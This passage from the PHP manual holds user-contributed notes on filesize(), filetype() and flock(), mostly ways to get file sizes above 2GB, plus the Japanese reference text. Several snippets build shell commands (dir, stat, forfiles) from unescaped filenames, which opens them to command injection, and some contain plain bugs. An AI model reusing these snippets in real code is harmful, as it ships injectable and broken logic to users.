        $size = bcadd($size, $length);
    }
    $size = bcsub($size, $length);
    $size = bcadd($size, strlen($read));

    fclose($file);
    return $size;
}
ivijan dot stefan at gmail dot com 12-Jul-2017 03:02
This function also can be great for browser caching controll. For example, you have a stylesheet and you want to make sure everyone has the most recent version. You could rename it every time you edit it, but that would be a waste of time. Instead, you can do like:

<?php

echo '<link rel="stylesheet" href="style.css?ver=1.'.filesize(dirname(__FILE__).'/style.css').'.'.filemtime(dirname(__FILE__).'/style.css').'.0">';

?>

Sample output:

<link rel="stylesheet" href="style.css?ver=1.8824.1499869132.0">

This also can be apply for JS and also images with same name.
mbh789 at gmail dot com 06-Jul-2017 09:27
function dir_size($file) {
   //tested on win 7x64 php 5.4
    exec('dir /s /a "' . $file.'"', $inf);
    $r=explode(' ',$inf[count($inf)-2]);
    $rr = preg_replace('~[^\d]+~','',$r[count($r)-2]);
    return $rr;
}
contact at evoweb dot fr 31-Jan-2017 10:35
This is an improvement of the function made by Rommel (rommel at rommelsantor dot com).  PHP 5.4+ compatibility and minor calculation of the word to write after the number.
<?php
function human_filesize($bytes, $decimals = 2) {
    $sz = 'BKMGTP';
    $factor = floor((strlen($bytes) - 1) / 3);
    $d = (empty($factor))?0:$decimals;
    return sprintf("%.{$d}f", $bytes / pow(1024, $factor)) . " ". ((!empty($factor))?@$sz[(int)$factor]:"")."o";
}
?>
evgenij at kostanay dot kz 01-Dec-2016 09:05
Slightly edited version of the function from rommel at rommelsantor dot com. Now it returns a two characters file size which is a bit more convenient to read.

<?php
function human_filesize($bytes, $decimals = 2) {
    $factor = floor((strlen($bytes) - 1) / 3);
    if ($factor > 0) $sz = 'KMGT';
    return sprintf("%.{$decimals}f", $bytes / pow(1024, $factor)) . @$sz[$factor - 1] . 'B';
}

print human_filesize(12, 0);                // 12B
print human_filesize(1234567890, 4);        // 1.1498GB
print human_filesize(123456789, 1);            // 117.7MB
print human_filesize(12345678901234, 5);    // 11.22833TB
print human_filesize(1234567, 3);            // 1.177MB
print human_filesize(123456);                // 120.56KB
?>

I removed the P units because strlen doesn't seem to work as expected with integers longer than 14 digits. Though it might be only my system's limitation.
synnus at gmail dot com 03-Nov-2016 12:52
<?php
 // File size for windows
 // if filesize() php > PHP_INT_MAX (4 294 967 296) :: failled
 // filesize_cmd returns the value measured by windows

function filesize_cmd($file) {
    $pth = pathinfo($file);
    $fz = filesize($file);
    $fx = exec('forfiles /p ' . $pth['dirname'] . ' /m "' . $pth['basename'] . '" /c "cmd /c echo @fsize"');
    if($fz != $fx) { return $fx; }
    return $fz;
}

?>
jakob dot riishede dot moller at gmail dot com 09-Oct-2016 04:40
"Note: Because PHP's integer type is signed and many platforms use 32bit integers, some filesystem functions may return unexpected results for files which are larger than 2GB."

This ought to be a warning and not a note: filesize - as some of the other comments suggest - is useless for applications where custom action must be taken for large files.
C0nw0nk 04-Jun-2016 06:14
Here is my super fast method of getting >2GB files to output the correct byte size on any version of windows works with both 32Bit and 64Bit.

<?php
function find_filesize($file)
{
    if(substr(PHP_OS, 0, 3) == "WIN")
    {
        exec('for %I in ("'.$file.'") do @echo %~zI', $output);
        $return = $output[0];
    }
    else
    {
        $return = filesize($file);
    }
    return $return;
}

//Usage : find_filesize("path");
//Example :
echo "File size is : ".find_filesize("D:\Server\movie.mp4")."";
?>
synnus at gmail dot com 02-Apr-2016 02:32
// extract filesize with command dir windows 10
// is ok for all system 32/64 and the best compatibility  for Dummy file
// but cant return value in (int) for best return use Float

<?php

filesize_dir("d:\\test.mkv"); //11.5GB => return (float) 12401880207

function filesize_dir($file) {
    exec('dir ' . $file, $inf);
    $size_raw = $inf[6];
    $size_exp = explode(" ",$size_raw);
    $size_ext = $size_exp[19];
    $size_int = (float) str_replace(chr(255), '', $size_ext);
    return $size_int;
}

?>
synnus at gmail dot com 02-Apr-2016 01:09
// use system windows for give filesize
// best for php 32bit or php 64bit
// I do not know if it works on other windows, but on Windows 10 works well here

<?php

echo filesize_cmd('c:\\', 'log.txt'); //return  1135

function filesize_cmd($folder, $file) {
return exec('forfiles /p '.$folder.' /m "'.$file.'" /c "cmd /c echo @fsize"');
}

?>
synnus at gmail dot com 01-Apr-2016 05:54
// best converting the negative number with File Size .
// does not work with files greater than 4GB
//
// specifically for 32 bit systems. limit conversions filsize is 4GB or
// 4294967296. why we get negative numbers? by what the file
// pointer of the meter must work with the PHP MAX value is 2147483647.
// Offset file : 0 , 1 , 2 , 3 , ... 2147483647 = 2GB
// to go higher up the 4GB negative numbers are used
// and therefore after 2147483647, we will -2147483647
// -2147483647,  -2147483646, -2147483645, -2147483644 ... 0 = 4GB
// therefore 0, 2147483647 and -2147483647 to 0. all done 4GB = 4294967296
// the first offset to 0 and the last offset to 0 of 4GB should be added in
// your compute, so "+ 2" for the number of bytes exate .

<?php
function filsize_32b($file) {
    $filez = filesize($file);
    if($filez < 0) {  return (($filez + PHP_INT_MAX) + PHP_INT_MAX + 2); }
    else { return $filez; }
}
?>
honza dot kuchar at grifart dot cz 05-Feb-2016 09:43
For files bigger then 2 GB use my library called Big File Tools. https://github.com/jkuchar/BigFileTools. More details on stackoverflow: http://stackoverflow.com/a/35233556/631369
Anonymous 21-Nov-2014 04:01
Here a function to get the size of a file in a human understanding way with decimal separator, thousand separator, decimals...

function convertFileSize($file, $size=null, $decimals=2, $dec_sep='.', $thousands_sep=','){
 if (!is_file($file)){
  return "El fichero no existe";
 }
 $bytes = filesize($file);
 $sizes = 'BKMGTP';
 if (isset($size)){
  $factor = strpos($sizes, $size[0]);
  if ($factor===false){
   return "El tamano debe ser B, K, M, G, T o P";
  }
 } else {
  $factor = floor((strlen($bytes) - 1) / 3);
  $size = $sizes[$factor];
 }
 return number_format($bytes / pow(1024, $factor), $decimals, $dec_sep, $thousands_sep).' '.$size;
}

Source: http://softontherocks.blogspot.com/2014/11/obtener-el-tamano-de-un-fichero-y.html
k dot reznichak at pcpin dot com 24-Sep-2014 10:19
Here ist the very fast and reliable way to get size of large files > 2Gb on 32bit and 64bit platforms.

<?php
  /**
   * Get the size of file, platform- and architecture-independant.
   * This function supports 32bit and 64bit architectures and works fith large files > 2 GB
   * The return value type depends on platform/architecture: (float) when PHP_INT_SIZE < 8 or (int) otherwise
   * @param   resource $fp
   * @return  mixed (int|float) File size on success or (bool) FALSE on error
   */
  function my_filesize($fp) {
    $return = false;
    if (is_resource($fp)) {
      if (PHP_INT_SIZE < 8) {
        // 32bit
        if (0 === fseek($fp, 0, SEEK_END)) {
          $return = 0.0;
          $step = 0x7FFFFFFF;
          while ($step > 0) {
            if (0 === fseek($fp, - $step, SEEK_CUR)) {
              $return += floatval($step);
            } else {
              $step >>= 1;
            }
          }
        }
      } elseif (0 === fseek($fp, 0, SEEK_END)) {
        // 64bit
        $return = ftell($fp);
      }
    }
    return $return;
  }
?>
CertaiN 05-May-2014 07:52
The simplest and most efficient implemention for getting remote filesize:

<?php
function remote_filesize($url) {
    static $regex = '/^Content-Length: *+\K\d++$/im';
    if (!$fp = @fopen($url, 'rb')) {
        return false;
    }
    if (
        isset($http_response_header) &&
        preg_match($regex, implode("\n", $http_response_header), $matches)
    ) {
        return (int)$matches[0];
    }
    return strlen(stream_get_contents($fp));
}
?>
linda dot collins at mailinator dot com 13-Oct-2013 02:08
A fast implementation that determines actual file size of large files (>2GB) on 32-bit PHP:

function RealFileSize($fp)
{
    $pos = 0;
    $size = 1073741824;
    fseek($fp, 0, SEEK_SET);
    while ($size > 1)
    {
        fseek($fp, $size, SEEK_CUR);

        if (fgetc($fp) === false)
        {
            fseek($fp, -$size, SEEK_CUR);
            $size = (int)($size / 2);
        }
        else
        {
            fseek($fp, -1, SEEK_CUR);
            $pos += $size;
        }
    }

    while (fgetc($fp) !== false)  $pos++;

    return $pos;
}

Input is an open file handle.  Return value is an integer for file sizes < 4GB, floating-point otherwise.

This starts out by skipping ~1GB at a time, reads a character in, repeats.  When it gets into the last GB, it halves the size whenever the read fails.  The last couple of bytes are just read in.

Some people might have concerns over this function because $pos will become a floating point number after exceeding integer limits and they know of floating point's tendencies to be inaccurate.  On most computers that correctly implement the IEEE floating point spec, $pos will be accurate out to around 9 *petabytes*.  Unless you are working with multi-petabyte files in PHP or the code is executing on strange hardware, this function is going to be more than sufficient.  Every part of this function has been carefully crafted to deal with 32-bit deficiencies.
cfv1000 at gmail dot com 05-Sep-2013 12:20
To get the filesize of a directory use the built-in function disk_total_space
Arseny Mogilev 16-Aug-2013 10:51
<?php
/**
* Converts bytes into human readable file size.
*
* @param string $bytes
* @return string human readable file size (2,87 Мб)
* @author Mogilev Arseny
*/
function FileSizeConvert($bytes)
{
    $bytes = floatval($bytes);
        $arBytes = array(
            0 => array(
                "UNIT" => "TB",
                "VALUE" => pow(1024, 4)
            ),
            1 => array(
                "UNIT" => "GB",
                "VALUE" => pow(1024, 3)
            ),
            2 => array(
                "UNIT" => "MB",
                "VALUE" => pow(1024, 2)
            ),
            3 => array(
                "UNIT" => "KB",
                "VALUE" => 1024
            ),
            4 => array(
                "UNIT" => "B",
                "VALUE" => 1
            ),
        );

    foreach($arBytes as $arItem)
    {
        if($bytes >= $arItem["VALUE"])
        {
            $result = $bytes / $arItem["VALUE"];
            $result = str_replace(".", "," , strval(round($result, 2)))." ".$arItem["UNIT"];
            break;
        }
    }
    return $result;
}

?>
Anonymous 24-Jul-2013 10:57
This functions returns the exact file size for file larger than 2 GB on 32 bit OS:

<?php
function file_get_size($file) {
    //open file
    $fh = fopen($file, "r");
    //declare some variables
    $size = "0";
    $char = "";
    //set file pointer to 0; I'm a little bit paranoid, you can remove this
    fseek($fh, 0, SEEK_SET);
    //set multiplicator to zero
    $count = 0;
    while (true) {
        //jump 1 MB forward in file
        fseek($fh, 1048576, SEEK_CUR);
        //check if we actually left the file
        if (($char = fgetc($fh)) !== false) {
            //if not, go on
            $count ++;
        } else {
            //else jump back where we were before leaving and exit loop
            fseek($fh, -1048576, SEEK_CUR);
            break;
        }
    }
    //we could make $count jumps, so the file is at least $count * 1.000001 MB large
    //1048577 because we jump 1 MB and fgetc goes 1 B forward too
    $size = bcmul("1048577", $count);
    //now count the last few bytes; they're always less than 1048576 so it's quite fast
    $fine = 0;
    while(false !== ($char = fgetc($fh))) {
        $fine ++;
    }
    //and add them
    $size = bcadd($size, $fine);
    fclose($fh);
    return $size;
}
?>
lito at eordes dot com 06-Mar-2013 03:10
A simple and improved function to get the folder size including subfolders:

<?php
function folderSize ($dir)
{
    $size = 0;
    $contents = glob(rtrim($dir, '/').'/*', GLOB_NOSORT);

    foreach ($contents as $contents_value) {
        if (is_file($contents_value)) {
            $size += filesize($contents_value);
        } else {
            $size += realFolderSize($contents_value);
        }
    }

    return $size;
}

echo folderSize('/var/www/html/').' bytes';
?>
rommel at rommelsantor dot com 19-Nov-2011 12:11
Extremely simple function to get human filesize.
<?php
function human_filesize($bytes, $decimals = 2) {
  $sz = 'BKMGTP';
  $factor = floor((strlen($bytes) - 1) / 3);
  return sprintf("%.{$decimals}f", $bytes / pow(1024, $factor)) . @$sz[$factor];
}
?>
Anonymous 21-Jan-2011 06:58
if you recently appended something to file, and closed it then this method will not show appended data:
<?php
// get contents of a file into a string
$filename = "/usr/local/something.txt";
$handle = fopen($filename, "r");
$contents = fread($handle, filesize($filename));
fclose($handle);
?>
You should insert a call to clearstatcache() before calling filesize()
I've spent two hours to find that =/
frank (at) haua dot net 15-Jan-2011 06:19
I have a cli script running that use the filesize function on a ssh2_sftp connection. It has the >2Gb limit issue, while it does not have that issue locally. I have managed to get around this by doing a "du -sb" command through ssh2_shell.

The following function takes the ssh2_connect resource and the path as input. It may not be neat, but it solves the problem for the moment.

<?php
function fSSHFileSize($oConn, $sPath) {
    if(false !== ($oShell = @ssh2_shell($oConn, 'xterm', null, 500, 24, SSH2_TERM_UNIT_CHARS))) {
        fwrite($oShell, "du -sb '".$sPath."'".PHP_EOL);
        sleep(1);
        while($sLine = fgets($oShell)) {
            flush();
            $aResult[] = $sLine;
        }
        fclose($oShell);
        $iSize = 0;
        if(count($aResult) > 1) {
            $sTemp = $aResult[count($aResult)-2];
            $sSize = substr($sTemp, 0, strpos($sTemp, chr(9)));
            if(is_numeric(trim($sSize))) {
                $iTemp = (int)$sSize;
                if($iTemp > "2000000000") $iSize = $iTemp;
            }
        }
        return $iSize;
    }
    return 0;
}
?>
itsrool at gmail dot com 12-Nov-2009 12:36
My solution for calculating the directory size:

<?php
/**
 * Get the directory size
 * @param directory $directory
 * @return integer
 */
function dirSize($directory) {
    $size = 0;
    foreach(new RecursiveIteratorIterator(new RecursiveDirectoryIterator($directory)) as $file){
        $size+=$file->getSize();
    }
    return $size;
}
?>
tmont 25-Jul-2009 02:05
Here's the best way (that I've found) to get the size of a remote file. Note that HEAD requests don't get the actual body of the request, they just retrieve the headers. So making a HEAD request to a resource that is 100MB will take the same amount of time as a HEAD request to a resource that is 1KB.

<?php
$remoteFile = 'http://us.php.net/get/php-5.2.10.tar.bz2/from/this/mirror';
$ch = curl_init($remoteFile);
curl_setopt($ch, CURLOPT_NOBODY, true);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); //not necessary unless the file redirects (like the PHP example we're using here)
$data = curl_exec($ch);
curl_close($ch);
if ($data === false) {
  echo 'cURL failed';
  exit;
}

$contentLength = 'unknown';
$status = 'unknown';
if (preg_match('/^HTTP\/1\.[01] (\d\d\d)/', $data, $matches)) {
  $status = (int)$matches[1];
}
if (preg_match('/Content-Length: (\d+)/', $data, $matches)) {
  $contentLength = (int)$matches[1];
}

echo 'HTTP Status: ' . $status . "\n";
echo 'Content-Length: ' . $contentLength;
?>

Result:

HTTP Status: 302
Content-Length: 8808759
Svetoslav Marinov 23-Jul-2009 10:24
This is an updated version of my previous filesize2bytes.
The return type now it's really an int.

<?php
/**
 * Converts human readable file size (e.g. 10 MB, 200.20 GB) into bytes.
 *
 * @param string $str
 * @return int the result is in bytes
 * @author Svetoslav Marinov
 * @author http://slavi.biz
 */
function filesize2bytes($str) {
    $bytes = 0;

    $bytes_array = array(
        'B' => 1,
        'KB' => 1024,
        'MB' => 1024 * 1024,
        'GB' => 1024 * 1024 * 1024,
        'TB' => 1024 * 1024 * 1024 * 1024,
        'PB' => 1024 * 1024 * 1024 * 1024 * 1024,
    );

    $bytes = floatval($str);

    if (preg_match('#([KMGTP]?B)$#si', $str, $matches) && !empty($bytes_array[$matches[1]])) {
        $bytes *= $bytes_array[$matches[1]];
    }

    $bytes = intval(round($bytes, 2));

    return $bytes;
}
?>
Supermagnus 30-Jun-2008 03:38
<?php
function getSizeFile($url) {
    if (substr($url,0,4)=='http') {
        $x = array_change_key_case(get_headers($url, 1),CASE_LOWER);
        if ( strcasecmp($x[0], 'HTTP/1.1 200 OK') != 0 ) { $x = $x['content-length'][1]; }
        else { $x = $x['content-length']; }
    }
    else { $x = @filesize($url); }

    return $x;
}
?>

In case of you have a redirection in the server (like Redirect Permanent in the .htaccess)

In this case we have for exemple:
    [content-length] => Array

        (

            [0] => 294          // Size requested file

            [1] => 357556     // Real Size redirected file

        )
jason dot whitehead dot tas at gmail dot com 08-Feb-2008 03:14
I have created a handy function, using parts of code from kaspernj at gmail dot com and md2perpe at gmail dot com, which should get file sizes > 4GB on Windows, Linux and Mac  (at least).

<?php
    function getSize($file) {
        $size = filesize($file);
        if ($size < 0)
            if (!(strtoupper(substr(PHP_OS, 0, 3)) == 'WIN'))
                $size = trim(`stat -c%s $file`);
            else{
                $fsobj = new COM("Scripting.FileSystemObject");
                $f = $fsobj->GetFile($file);
                $size = $file->Size;
            }
        return $size;
    }
?>
webmaster at eclipse org 07-Nov-2007 07:30
On 64-bit platforms, this seems quite reliable for getting the filesize of files > 4GB

<?php
$a = fopen($filename, 'r');
fseek($a, 0, SEEK_END);
$filesize = ftell($a);
fclose($a);
?>
core58 at mail dot ru 14-Apr-2006 08:21
some notes and modifications to previous post.
refering to RFC, when using HTTP/1.1 your request (either GET or POST or HEAD) must contain Host header string, opposite to HTTP/1.1 where Host ain't required. but there's no sure how your remote server would treat the request so you can add Host anyway (it won't be an error for HTTP/1.0).
host value _must_ be a host name (not CNAME and not IP address).

this function catches response, containing Location header and recursively sends HEAD request to host where we are moved until final response is met.
(you can experience such redirections often when downloading something from php scripts or some hash links that use apache mod_rewrite. most all of dowloading masters handle 302 redirects correctly, so this code does it too (running recursively thru 302 redirections).)

[$counter302] specify how much times your allow this function to jump if redirections are met. If initial limit (5 is default) expired -- it returns 0 (should be modified for your purposes whatever).0
ReadHeader() function is listed in previous post
(param description is placed there too).

<?php
function remote_filesize_thru( $ipAddress, $url, $counter302 = 5 )
{
    $socket = fsockopen( "10.233.225.2", 8080 );
    if( !$socket )
    {
        // failed to open TCP socket connection
        // do something sensible here besides exit();
        echo "<br>failed to open socket for [$ipAddress]";
        exit();
    }

    // just send HEAD request to server
    $head = "HEAD $url HTTP/1.0\r\nConnection: Close\r\n\r\n";
    // you may use HTTP/1.1 instead, then your request head string _must_ contain "Host: " header
    fwrite( $socket, $head );

    // read the response header
    $header = ReadHeader( $socket );
    if( !$header )
    {
        // handle empty response here the way you need...
        Header( "HTTP/1.1 404 Not Found" );
        exit();
    }

    fclose( $socket );

    // check for "Location" header
    $locationMarker = "Location: ";
    $pos = strpos( $header, $locationMarker );
    if( $pos > 0 )
    {
            $counter302--;
            if( $counter302 < 0 )
            {
                     // redirect limit (5 by default) expired -- return some warning or do something sensible here
                    echo "warning: too long redirection sequence";
                    return 0;
            }

            // Location is present -- we should determine target host and move there, like any downloading masters do...
            // no need to use regex here
            $end = strpos( $header, "\n", $pos );
            $location = trim( substr( $header, $pos + strlen( $locationMarker ), $end - $pos - strlen( $locationMarker ) ), "\\r\\n" );

             // extract pure host (without "http://")
             $host = explode( "/", $location );
             $ipa = gethostbyname( $host[2] );
             // move to Location
             return remote_filesize_thru( $ipa, $location, $counter302 );
    }

    // try to acquire Content-Length within the response
    $regex = '/Content-Length:\s([0-9].+?)\s/';
    $count = preg_match($regex, $header, $matches);

    // if there was a Content-Length field, its value
    // will now be in $matches[1]
    if( isset( $matches[1] ) )
          $size = $matches[1];
    else
          $size = 0;

    return $size;
}
?>
aidan at php dot net 12-Jul-2005 09:01
This function quickly calculates the size of a directory:
http://aidanlister.com/repos/v/function.dirsize.php

You can convert filesizes to a human readable size using:
http://aidanlister.com/repos/v/function.size_readable.php

For a faster (unix only) implementation, see function.disk-total-space, note #34100
http://www.php.net/manual/en/function.disk-total-space.php#34100

Also of interest is this wikipedia article, discussing the difference between a kilobyte (1000) and a kibibyte (1024).
http://en.wikipedia.org/wiki/Bytes


ファイルタイプを取得する

  • ≪ filesize
  • flock ≫
  • PHP Manual
  • ファイルシステム 関数
  • ファイルタイプを取得する

filetype

(PHP 4, PHP 5, PHP 7, PHP 8)

filetype — ファイルタイプを取得する

説明

filetype ( string $filename ) : string|false

指定したファイルのタイプを返します。

パラメータ

filename

ファイルへのパス。

返り値

ファイルのタイプを返します。返される値は fifo、char、dir、 block、link、file、socket および unknown のいずれかです。

エラーが発生すると false を返します。 また filetype() は stat コールに失敗したり、 未知のファイルタイプであったりした場合に E_NOTICE メッセージを発行します。

例

例1 filetype() の例

<?php

echo filetype('/etc/passwd');  // ファイル
echo filetype('/etc/');        // ディレクトリ

?>

エラー / 例外

失敗したときは E_WARNING が発生します。

注意

注意: この関数の結果は キャッシュされます。詳細は、clearstatcache() を参照してください。

ヒント

PHP 5.0.0 以降、この関数は、 何らかの URL ラッパーと組合せて使用することができます。 どのラッパーが stat() ファミリーをサポートしているかを調べるには サポートするプロトコル/ラッパー を参照してください。

参考

  • is_dir() - ファイルがディレクトリかどうかを調べる
  • is_file() - 通常ファイルかどうかを調べる
  • is_link() - ファイルがシンボリックリンクかどうかを調べる
  • file_exists() - ファイルまたはディレクトリが存在するかどうか調べる
  • mime_content_type() - ファイルの MIME Content-type を検出する
  • pathinfo() - ファイルパスに関する情報を返す
  • stat() - ファイルに関する情報を取得する

User Contributed Notes

Anonymous 03-Dec-2014 06:17
Note there is a bug when using filetype with for example Japanese filenames :
https://bugs.php.net/bug.php?id=64699

The whole PHP interpreter comes crashing down without anyway to avoid it or capture an exception.
r dot koelpin at evisionteam dot de 29-Jan-2014 06:29
/* COPY/PASTE */
<?php
//https://php.net/manual/de/function.filetype.php#104308

echo "Zum testen mussen tatsachlich existente Namen verwendet werden.<br>";
echo "Pfad und Dateiname mussen getrennt eingetragen und durch einen Punkt verbunden sein.<br>";
echo "Example: [filetype(\"../dir/u_dir/\".\"temp.jpg\")] liefert -> file<br>";
?>
Abhi Jain 08-Jun-2011 12:01
Putting @ in front of the filetype() function does not prevent it from raising a warning (Lstat failed), if E_WARNING is enabled on your error_reporting.

The most common cause of filetype() raising this warning and not showing a filetype() in the output (it actually returns NULL) is, if you happened to pass just the 'Dir or File Name' and not the complete "Absolute or Relative Path" to that 'file or Dir'. It may still read that file and return its filetype as "file" but for Dir's it shows warning and outputs NULL.
eg:
$pathToFile = '/var/www';
$file = 'test.php';
$dir = 'somedir';

Output for filetype($file) will be returned as 'file' and possibly without any warning, but for filetype($dir), it will return NULL with the warning "Lstat failed", unless you pass a complete path to that dir, i.e. filetype($pathToFile.'/'.$dir).

This happened to me and found this solution after a lot of trial and error. Thought, it might help someone.
adlerweb 07-Oct-2010 01:09
filetype() does not work for files >=2GB on x86 Linux. You can use stat as a workarround:

$type=trim(`stat -c%F $file`);

Note that stat returns diffenerent strings ("regular file","directory",...)
7r6ivyeo at mail dot com 21-Nov-2008 05:29
I use the CLI version of PHP on Windows Vista.  Here's how to determine if a file is marked "hidden" by NTFS:

<?php
function is_hidden_file($fn) {

    $attr = trim(exec('FOR %A IN ("'.$fn.'") DO @ECHO %~aA'));

    if($attr[3] === 'h')
        return true;

    return false;
}
?>

Changing <?php if($attr[3] === 'h') ?> to <?php if($attr[4] === 's') ?> will check for system files.

This should work on any Windows OS that provides DOS shell commands.
ruach at chpc dot utah dot edu 10-Mar-2004 05:11
There are 7 values that can be returned. Here is a list of them and what each one means

block: block special device

char: character special device

dir: directory

fifo: FIFO (named pipe)

file: regular file

link: symbolic link

unknown: unknown file type


汎用のファイルロックを行う

  • ≪ filetype
  • fnmatch ≫
  • PHP Manual
  • ファイルシステム 関数
  • 汎用のファイルロックを行う

flock

(PHP 4, PHP 5, PHP 7, PHP 8)

flock — 汎用のファイルロックを行う

説明

flock ( resource $stream , int $operation , int &$would_block = null ) : bool

flock() を使うと、(ほとんどの Unix、そして Windows さえ含む) 事実上すべてのプラットフォームで使用可能な、簡易な読み手/書き手モデルを実現できます。

PHP 5.3.2 より前のバージョンでは、fclose() でロックの解放も行います (これは、スクリプトが終了した場合にも自動的にコールされます)。

PHP は、恣意的にファイルをロックする汎用の手段を提供します (これは、アクセスする全プログラムが同一のロックの方法を使用する必要があり、 そうでない場合は動作しないことを意味します)。 デフォルトでは、要求したロックが確保されるまでこの関数はブロックします。 以下で説明する LOCK_NB オプションでこの挙動を制御することができます。

パラメータ

stream

fopen() を使用して作成したファイルシステムポインタリソース。

operation

operation は以下のいずれかとなります。

  • 共有ロック(読み手)とするには LOCK_SH をセットします。
  • 排他的ロック(書き手)とするには LOCK_EX をセットします。
  • (共有または排他的)ロックを開放するには LOCK_UN をセットします。

ロックを試みている間に flock() がブロックすべきでない場合は、上の操作のいずれかに LOCK_NB をビットマスクとして追加できます。

would_block

ロックがブロックされた (errno が EWOULDBLOCK となった) 場合に、オプションの 3 番目の引数に 1 が設定されます。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 flock() の例

<?php

$fp = fopen("/tmp/lock.txt", "r+");

if (flock($fp, LOCK_EX)) {  // 排他ロックを確保します
    ftruncate($fp, 0);      // ファイルを切り詰めます
    fwrite($fp, "ここで何かを書きます\n");
    fflush($fp);            // 出力をフラッシュしてからロックを解放します
    flock($fp, LOCK_UN);    // ロックを解放します
} else {
    echo "ファイルを取得できません!";
}

fclose($fp);

?>

例2 flock() で LOCK_NB オプションを使う例

<?php
$fp = fopen('/tmp/lock.txt', 'r+');

/* LOCK_NB オプションを LOCK_EX で有効にします */
if(!flock($fp, LOCK_EX | LOCK_NB)) {
    echo 'Unable to obtain lock';
    exit(-1);
}

/* ... */

fclose($fp);
?>

注意

注意:

flock() は、Windows 上ではアドバイザリロックではなく 強制ロックを使います。強制ロックは Linux や System V 系の OS でもサポートされています。 これは、そのファイルに setgid パーミッションが設定されていて グループの実行ビットがクリアされている場合に fcntl() システムコールが通常サポートしている方式です。 Linux では、これを行うには mand オプションつきでファイルシステムをマウントしておく必要があります。

注意:

flock()は、ファイルポインタを必要とするため、 (fopen()へ引数"w"または"w+"を指定して)書き込 みモードでオープンすることにより丸めるファイルにアクセス保護する 特別なロックファイルを使用する必要があるかもしれません。

注意:

fopen() が返すローカルファイルへのポインタ、あるいは streamWrapper::stream_lock() メソッドを実装した ユーザー空間のストリームを指すファイルポインタに対してのみ使うことができます。

警告

一連のコードで別の値を stream 引数に代入すると、 それ以降のコードでロックを解放します。

警告

いくつかのオーペレーティングシステムでflock() はプロセスレベルで実装されています。マルチスレッド 型のサーバーAPIを使用している場合、同じサーバーインスタンスの並 列スレッドで実行されている他のPHPスクリプトに対してファイルを保 護する際に flock()を使用することはできません!

flock()はFATのような 旧式のファイルシステムではサポートされていないため、 これらの環境の場合は常にfalseを返すことになります。

User Contributed Notes

peripeltus at gmail dot com 07-Jun-2017 01:40
Relying on flock for synchronise things is risky, consider using extensions like SYNC or pthreads instead.
jlh at gmx dot ch 27-Mar-2017 06:14
When a file is closed the lock will be released by the system anyway, even if PHP doesn't do it explicitly anymore since 5.3.2 (the documentation is very confusing about this).

However, I had a situation on an apache/PHP server where an out-of-memory error in PHP caused file handles to not be closed and therefore the locks where kept even thought PHP execution had ended and the process had returned to apache to serve other requests. The lock was kept alive until apache recycled those processes.

This lack of proper clean up basically makes flock() completely unreliable.
markus at malkusch dot de 04-Dec-2016 07:20
And here's the timeout template for UNIX:

<?php
pcntl_signal(SIGALRM, function() {});
pcntl_alarm(3);
try {
    if (!flock($handle, LOCK_EX)) {
        throw new \Exception("Timeout");
    }
} finally {
    pcntl_alarm(0);
    pcntl_signal_dispatch();
    pcntl_signal(SIGALRM, SIG_DFL);
}
?>
emilchemical at gmail dot com 01-Mar-2016 02:49
If you are interested in using file locking as indicator that your console app is running and you don't want to start it again:

 if (!flock($fp, LOCK_EX | LOCK_NB, $wouldblock)) {
                if ($wouldblock) {
                    //Another process holds the lock!

                } else {
                    //Couldn't lock for another reason, e.g. no such file

                }
            } else {
                //Lock obtained

                startJob();
            }
Please note that this is platform independent solution, but you have restrictions in PHP version (5.5.22 on Windows).
Also, some old file systems are not supported.
forzi at mail333 dot com 24-Apr-2015 06:34
Simple Helper for lock files creation

<?php

class FileLocker {
    protected static $loc_files = array();

    public static function lockFile($file_name, $wait = false) {
        $loc_file = fopen($file_name, 'c');
        if ( !$loc_file ) {
            throw new \Exception('Can\'t create lock file!');
        }
        if ( $wait ) {
            $lock = flock($loc_file, LOCK_EX);
        } else {
            $lock = flock($loc_file, LOCK_EX | LOCK_NB);
        }
        if ( $lock ) {
            self::$loc_files[$file_name] = $loc_file;
            fprintf($loc_file, "%s\n", getmypid());
            return $loc_file;
        } else if ( $wait ) {
            throw new \Exception('Can\'t lock file!');
        } else {
            return false;
        }
    }

    public static function unlockFile($file_name) {
        fclose(self::$loc_files[$file_name]);
        @unlink($file_name);
        unset(self::$loc_files[$file_name]);
    }

}

if ( !FileLocker::lockFile('/tmp/1.lock') ) {
    echo "Can't lock file\n";
    die();
}
sleep(10);
FileLocker::unlockFile('/tmp/1.lock');
echo "All Ok\n";
ravenswd at gmail dot com 27-Feb-2015 05:32
Note that Example #1 contains a bug: ftruncate() does *not* re-set the file pointer to the beginning of the file. You need to execute a call to rewind() afterward. I realize that the ftruncate page does mention this, but if anybody copies the example above (as I did), their program will not work correctly unless they fix this.
sinus-php at sinpi dot net 15-Aug-2014 02:01
"Assigning another value to handle argument in subsequent code will release the lock."
Note: this is also true for losing the handle's context completely (like returning from a function, in which the handle was a local variable).

<?php
touch("testfile");

function mylock() {
  $F1 = fopen("testfile","r");
  if (flock($F1,LOCK_EX|LOCK_NB)) echo "First lock OK\n"; else echo "First lock FAIL\n";
  $F2 = fopen("testfile","r");
  if (flock($F2,LOCK_EX|LOCK_NB)) echo "Second lock OK\n"; else echo "Second lock FAIL\n";
}

mylock();
echo "Function returned.\n";
mylock();

unlink("testfile");
?>

Prints out:

First lock OK
Second lock FAIL
Function returned.
First lock OK
Second lock FAIL

This will lock the testfile, then attempt to lock it again with a new file handle (obviously failing). Trying this again, though, results in proper locking again (and then failing again), because when exiting the function both handles are lost and automatically unlocked.
tom dot vom dot berg at online dot de 28-Apr-2014 06:46
if you are used to reply with qualified error messages by using "track_errors = 1" and $php_errormsg,  flock() will nark you, if you use LOCK_NB .

If flock() fails due to LOCK_NB $php_errormsg will not be created and filled with an error message like 'could not lock file, file already locked'.

You can use some little workaround which does also on WIN:

#---------------------------------
GLOBAL $MYERRORMSG;

function some_file_operations($filename)
{
    GLOBAL $MYERRORMSG;

    # ...
    # ...

    if (! @flock($fh, LOCK_SH | LOCK_NB, $wb))
       {
        if (!isset($php_errormsg)) $php_errormsg = 'could not lock file, file already locked';
        $MYERRORMSG = $php_errormsg;
        return false;
    }
}
#--------------------------------

In case of fail $MYERRORMSG now will hold a qualified error message
enyby at yandex dot ru 04-Jan-2014 08:36
Use rename or unlink on handled file breaked LOCK_EX flock on handle (Linux only).

Example:

$handle = fopen($lockFile, 'c');
